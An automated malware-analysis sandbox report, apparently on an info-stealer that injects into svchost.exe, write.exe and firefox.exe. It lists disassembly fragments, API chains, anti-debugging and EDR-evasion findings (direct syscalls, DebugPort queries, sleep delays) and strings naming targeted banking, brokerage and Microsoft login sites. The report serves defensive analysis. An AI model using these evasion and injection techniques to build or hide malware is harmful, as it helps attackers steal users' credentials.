Source:	Binary string: wntdll.pdb source: Z6s208B9QX.exe, 00000000.00000003.1278966873.0000000004980000.00000004.00001000.00020000.00000000.sdmp, Z6s208B9QX.exe, 00000000.00000003.1282094374.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000008.00000002.1730639128.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1631846240.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1730639128.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1633513336.0000000003500000.00000004.00000020.00020000.00000000.sdmp, write.exe, write.exe, 0000000B.00000002.3746720068.0000000004710000.00000040.00001000.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1732839764.000000000456A000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000003.1730478415.00000000043B1000.00000004.00000020.00020000.00000000.sdmp, write.exe, 0000000B.00000002.3746720068.00000000048AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: write.exe, 0000000B.00000002.3747327536.0000000004D3C000.00000004.10000000.00040000.00000000.sdmp, write.exe, 0000000B.00000002.3743884868.0000000002B25000.00000004.00000020.00020000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746863202.0000000002AFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2023697745.000000004000C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: write.exe, 0000000B.00000002.3747327536.0000000004D3C000.00000004.10000000.00040000.00000000.sdmp, write.exe, 0000000B.00000002.3743884868.0000000002B25000.00000004.00000020.00020000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746863202.0000000002AFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2023697745.000000004000C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: Z6s208B9QX.exe

Static PE information: real checksum: 0xa961f should be: 0x15762c

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00416CB5 push ecx; ret	0_2_00416CC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0041385D push edx; retf	8_2_004138EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0040D829 push esp; ret	8_2_0040D801
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_004138D8 push edx; retf	8_2_004138EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_004138E3 push edx; retf	8_2_004138EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00414913 push ds; ret	8_2_00414914
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0040D238 pushad ; iretd	8_2_0040D23A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00403300 push eax; ret	8_2_00403302
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0040D4E3 push edx; retf	8_2_0040D4EB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0040D77F push esp; ret	8_2_0040D801
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037309AD push ecx; mov dword ptr [esp], ecx	8_2_037309B6
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047127FA pushad ; ret	11_2_047127F9
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0471225F pushad ; ret	11_2_047127F9
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0471283D push eax; iretd	11_2_04712858
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_047409AD push ecx; mov dword ptr [esp], ecx	11_2_047409B6
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_005420D1 push ecx; iretd	11_2_005420DA
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_005420FC push FFFFFF8Fh; iretd	11_2_00542108
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_00542255 push ebx; iretd	11_2_00542256
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0054055A push edx; retf	11_2_005405EC
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_005405D5 push edx; retf	11_2_005405EC
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_005405E0 push edx; retf	11_2_005405EC
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_00541610 push ds; ret	11_2_00541611
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_00549B45 pushad ; ret	11_2_00549B47
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0054DB30 push eax; retf 59D6h	11_2_0054DD16
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0456C678 pushad ; retf	11_2_0456C7CD
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0456C678 push 0000001Ch; iretd	11_2_0456C810
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0456C7D7 push 0000001Ch; iretd	11_2_0456C810
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0456C7B7 pushad ; retf	11_2_0456C7CD
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_045651DF push ds; ret	11_2_045651E3
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04560C1A push ds; ret	11_2_04560C1C
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_04566DB9 push cs; iretd	11_2_04566DC0

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_0047A330
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00434418

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	API/Special instruction interceptor: Address: 454F27C
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFEFE52D324
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFEFE52D7E4
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFEFE52D944
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFEFE52D504
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFEFE52D544
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFEFE52D1E4
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFEFE530154
Source: C:\Windows\SysWOW64\write.exe	API/Special instruction interceptor: Address: 7FFEFE52DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 8_2_0377096E rdtsc

8_2_0377096E

Source: C:\Windows\SysWOW64\write.exe

Window / User API: threadDelayed 9745

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-87595

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	API coverage: 3.5 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\write.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\write.exe TID: 5228	Thread sleep count: 228 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe TID: 5228	Thread sleep time: -456000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe TID: 5228	Thread sleep count: 9745 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe TID: 5228	Thread sleep time: -19490000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe TID: 1556	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe TID: 1556	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe TID: 1556	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe TID: 1556	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe TID: 1556	Thread sleep time: -36000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\write.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\write.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\write.exe	Code function: 11_2_0054C340 FindFirstFileW,FindNextFileW,FindClose,	11_2_0054C340

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Source: 7251G3-6.11.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: 7251G3-6.11.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: 7251G3-6.11.dr	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: 7251G3-6.11.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: 7251G3-6.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: 7251G3-6.11.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: 7251G3-6.11.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: 7251G3-6.11.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: 7251G3-6.11.dr	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: 7251G3-6.11.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: 7251G3-6.11.dr	Binary or memory string: global block list test formVMware20,11696503903
Source: 7251G3-6.11.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: 7251G3-6.11.dr	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: 7251G3-6.11.dr	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: 7251G3-6.11.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: 7251G3-6.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: 7251G3-6.11.dr	Binary or memory string: AMC password management pageVMware20,11696503903
Source: 7251G3-6.11.dr	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: UCAmCgWJyh.exe, 0000000D.00000002.3744553832.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla
Source: 7251G3-6.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: firefox.exe, 00000011.00000002.2024960803.000001813FE6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 7251G3-6.11.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: 7251G3-6.11.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: 7251G3-6.11.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: 7251G3-6.11.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: 7251G3-6.11.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: 7251G3-6.11.dr	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: write.exe, 0000000B.00000002.3743884868.0000000002B25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr
Source: 7251G3-6.11.dr	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: 7251G3-6.11.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: 7251G3-6.11.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: 7251G3-6.11.dr	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: 7251G3-6.11.dr	Binary or memory string: discord.comVMware20,11696503903f
Source: 7251G3-6.11.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

API call chain: ExitProcess graph end node

graph_0-86725

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 8_2_0377096E rdtsc

8_2_0377096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 8_2_00417593 LdrLoadDll,

8_2_00417593

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0045A370 BlockInput,

0_2_0045A370

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D590

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0454F4E8 mov eax, dword ptr fs:[00000030h]	0_2_0454F4E8
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0454F548 mov eax, dword ptr fs:[00000030h]	0_2_0454F548
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0454DE88 mov eax, dword ptr fs:[00000030h]	0_2_0454DE88
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D437C mov eax, dword ptr fs:[00000030h]	8_2_037D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B035C mov eax, dword ptr fs:[00000030h]	8_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B035C mov eax, dword ptr fs:[00000030h]	8_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B035C mov eax, dword ptr fs:[00000030h]	8_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B035C mov ecx, dword ptr fs:[00000030h]	8_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B035C mov eax, dword ptr fs:[00000030h]	8_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B035C mov eax, dword ptr fs:[00000030h]	8_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037FA352 mov eax, dword ptr fs:[00000030h]	8_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D8350 mov ecx, dword ptr fs:[00000030h]	8_2_037D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B2349 mov eax, dword ptr fs:[00000030h]	8_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372C310 mov ecx, dword ptr fs:[00000030h]	8_2_0372C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03750310 mov ecx, dword ptr fs:[00000030h]	8_2_03750310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A30B mov eax, dword ptr fs:[00000030h]	8_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A30B mov eax, dword ptr fs:[00000030h]	8_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0376A30B mov eax, dword ptr fs:[00000030h]	8_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	8_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	8_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	8_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037663FF mov eax, dword ptr fs:[00000030h]	8_2_037663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037403E9 mov eax, dword ptr fs:[00000030h]	8_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037403E9 mov eax, dword ptr fs:[00000030h]	8_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037403E9 mov eax, dword ptr fs:[00000030h]	8_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037403E9 mov eax, dword ptr fs:[00000030h]	8_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037403E9 mov eax, dword ptr fs:[00000030h]	8_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037403E9 mov eax, dword ptr fs:[00000030h]	8_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037403E9 mov eax, dword ptr fs:[00000030h]	8_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037403E9 mov eax, dword ptr fs:[00000030h]	8_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE3DB mov eax, dword ptr fs:[00000030h]	8_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE3DB mov eax, dword ptr fs:[00000030h]	8_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE3DB mov ecx, dword ptr fs:[00000030h]	8_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037DE3DB mov eax, dword ptr fs:[00000030h]	8_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D43D4 mov eax, dword ptr fs:[00000030h]	8_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037D43D4 mov eax, dword ptr fs:[00000030h]	8_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037EC3CD mov eax, dword ptr fs:[00000030h]	8_2_037EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	8_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037383C0 mov eax, dword ptr fs:[00000030h]	8_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037383C0 mov eax, dword ptr fs:[00000030h]	8_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037383C0 mov eax, dword ptr fs:[00000030h]	8_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037383C0 mov eax, dword ptr fs:[00000030h]	8_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B63C0 mov eax, dword ptr fs:[00000030h]	8_2_037B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03728397 mov eax, dword ptr fs:[00000030h]	8_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03728397 mov eax, dword ptr fs:[00000030h]	8_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03728397 mov eax, dword ptr fs:[00000030h]	8_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372E388 mov eax, dword ptr fs:[00000030h]	8_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372E388 mov eax, dword ptr fs:[00000030h]	8_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372E388 mov eax, dword ptr fs:[00000030h]	8_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375438F mov eax, dword ptr fs:[00000030h]	8_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0375438F mov eax, dword ptr fs:[00000030h]	8_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037E0274 mov eax, dword ptr fs:[00000030h]	8_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03734260 mov eax, dword ptr fs:[00000030h]	8_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03734260 mov eax, dword ptr fs:[00000030h]	8_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03734260 mov eax, dword ptr fs:[00000030h]	8_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372826B mov eax, dword ptr fs:[00000030h]	8_2_0372826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372A250 mov eax, dword ptr fs:[00000030h]	8_2_0372A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03736259 mov eax, dword ptr fs:[00000030h]	8_2_03736259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B8243 mov eax, dword ptr fs:[00000030h]	8_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_037B8243 mov ecx, dword ptr fs:[00000030h]	8_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0372823B mov eax, dword ptr fs:[00000030h]	8_2_0372823B
